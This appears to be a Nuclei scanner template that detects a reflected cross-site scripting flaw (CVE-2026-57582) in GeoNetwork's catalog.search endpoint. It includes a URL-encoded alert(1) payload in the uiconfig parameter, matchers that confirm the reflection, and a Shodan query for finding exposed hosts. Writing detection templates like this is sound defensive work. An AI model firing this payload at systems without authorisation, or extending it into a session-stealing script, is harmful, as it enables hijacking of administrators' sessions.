GeoNetwork - Reflected Cross-Site Scripting

id: CVE-2026-57582

info:
  name: GeoNetwork - Reflected Cross-Site Scripting
  author: DhiyaneshDk
  severity: high
  description: |
    GeoNetwork versions 4.4.5 through 4.4.11 are vulnerable to reflected cross-site scripting (XSS) in the public unauthenticated catalog search functionality. The uiconfig query parameter of the catalog.search endpoint is reflected into a JavaScript context without sufficient sanitization, allowing arbitrary JavaScript execution in a victim's browser.
  impact: |
    An unauthenticated attacker can craft a malicious URL that executes arbitrar JavaScript when opened by a victim. If a privileged GeoNetwork user such as an administrator visits the URL, the attacker may perform actions within the security context of that user.
  remediation: |
    Upgrade GeoNetwork to version 4.4.12 or later.
  reference:
    - https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-5pq9-ppfw-p83j
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2026-57582
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: geonetwork
    product: core-geonetwork
    framework: java
    shodan-query: html:"/srv/eng/"
  tags: cve,cve2026,geonetwork,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/srv/eng/catalog.search?uiconfig=%28alert%281%29%2C%7B%7D%29"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "(alert(1),{})"
          - "GnCatController"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"
        case-insensitive: true
# digest: 4a0a00473045022100f3bc6ae228b557059dc9b89c121c58e4c2ce015d2e9f29f2f6e0f0b80809c95c02206d47dac07d7030f07779c67935789ee18d9af0344bda0fb24510e6275f6345d1:922c64590222798bb761d5b6d8e72950